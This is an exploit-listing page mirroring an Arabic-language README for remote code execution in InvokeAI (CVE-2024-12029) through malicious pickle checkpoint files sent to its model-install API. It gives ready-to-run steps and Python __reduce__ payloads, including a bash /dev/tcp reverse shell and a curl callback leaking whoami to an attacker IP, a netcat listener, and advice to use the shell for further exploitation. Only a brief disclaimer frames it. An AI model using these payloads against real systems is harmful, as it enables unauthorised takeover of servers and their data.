## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LU3KY13-ALTERNATIVE-APPROACH-REVERSE-SHELL-CALLBACK-TEST-INVOKEAI-RCE
# بديل-نهج-شل-عكسي-اختبار-رد-اتصال-InvokeAI-RCE
# النهج البديل: الشل العكسي واختبار رد الاتصال
## نظرة عامة
يحتوي هذا المستودع على نهج حمولات بديلة لثغرة InvokeAI RCE (CVE-2024-12029) عندما تفشل آلية حقن مفتاح SSH. تم تصميم الحمولات لاختبار ما إذا كان إلغاء تسلسل pickle يحدث بالفعل وتوفير طرق وصول بديلة.
## بيان المشكلة
عندما يتم تسليم حمولات حقن مفتاح SSH بنجاح (الحالة 201) ولكن الوصول عبر SSH لا يزال يتطلب كلمة مرور، يشير ذلك إلى واحد مما يلي:
1. إلغاء تسلسل pickle لا يحدث
2. يتم حظر/عزل الأوامر
3. طريقة التنفيذ غير متوافقة
## الحل: الحمولات البديلة
### 📁 ملفات الحمولة
#### **حمولات الشل العكسي**
* `payload_reverse_bash.ckpt` (89 بايت) - شل عكسي Bash
* `payload_reverse_python.ckpt` (267 بايت) - شل عكسي Python
* `payload_reverse_nc.ckpt` (70 بايت) - شل عكسي Netcat
#### **حمولات الاختبار والتحقق**
* `payload_callback_test.ckpt` (115 بايت) - رد اتصال HTTP للتحقق من إلغاء التسلسل
* `payload_test.ckpt` (90 بايت) - اختبار إنشاء ملف بسيط
* `payload_alt_exec.ckpt` (223 بايت) - طريقة تنفيذ بديلة
#### **حمولات SSH (للإشارة)**
* `payload_ssh_simple.ckpt` (271 بايت) - حقن مفتاح SSH متوافق مع Linux
### 🛠️ نصوص الاختبار
#### **نصوص اختبار Kali**
* `kali_reverse_test.py` \- مجموعة اختبار شاملة
#### **مولدات الحمولة**
* `reverse_shell_payload.py` \- توليد حمولات الشل العكسي
## 🚀 الاستخدام السريع
### 1\. تشغيل خادم الحمولة
root@kitploit:~
python web_server.py --port 8000
### 2\. اختبار رد الاتصال (موصى به أولاً)
root@kitploit:~
# Copy kali_reverse_test.py to Kali and run:
python3 kali_reverse_test.py
# Choose option 1 to test callback
### 3\. اختبار الشل العكسي
root@kitploit:~
# Start listener on Kali:
nc -lvnp 4444
# Send reverse shell payload:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
### 4\. اختبار التنفيذ البسيط
root@kitploit:~
# Test basic command execution:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"
# Verify file creation:
ssh some-email@example.com 'cat /tmp/payload_test.txt'
## 📊 تفسير نتائج الاختبار
### ✅ **نجاح اختبار رد الاتصال**
* **المعنى** : إلغاء تسلسل pickle يعمل
* **الخطوة التالية** : جرب الشل العكسي أو حمولات SSH البديلة
* **التحقق** : سجلات خادم الويب لرد اتصال HTTP
### ✅ **نجاح الشل العكسي**
* **المعنى** : يتم تنفيذ الأوامر ويعمل الوصول إلى الشبكة
* **النتيجة** : وصول مباشر للشل عبر مستمع netcat
* **الخطوة التالية** : استخدم الشل العكسي لمزيد من الاستغلال
### ✅ **تم إنشاء ملف الاختبار**
* **المعنى** : يعمل تنفيذ الأوامر الأساسية
* **الخطوة التالية** : جرب طرق حقن SSH بديلة
* **التحقق** : `/tmp/payload_test.txt` على الهدف
### **حمولة رد الاتصال**
root@kitploit:~
class CallbackTestPayload:
def __reduce__(self):
import os
command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
return (os.system, (command,))
### **حمولة الشل العكسي**
root@kitploit:~
class ReverseShellPayload:
def __reduce__(self):
import os
command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
return (os.system, (command,))
### **حمولة الاختبار**
root@kitploit:~
class TestPayload:
def __reduce__(self):
import os
return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
## 📚 المراجع
* **CVE-2024-12029** : تنفيذ الأوامر عن بُعد في InvokeAI
* **إلغاء التسلسل غير الآمن في PyTorch** : ثغرة `torch.load()`
* **Pickle**reduce**** : استغلال تسلسل كائنات Python
## ⚠️ إخلاء مسؤولية
هذا المستودع مخصص لأغراض الاختبارات الأمنية التعليمية والمرخصة فقط. المستخدمون مسؤولون عن ضمان حصولهم على الترخيص المناسب قبل اختبار أي أنظمة.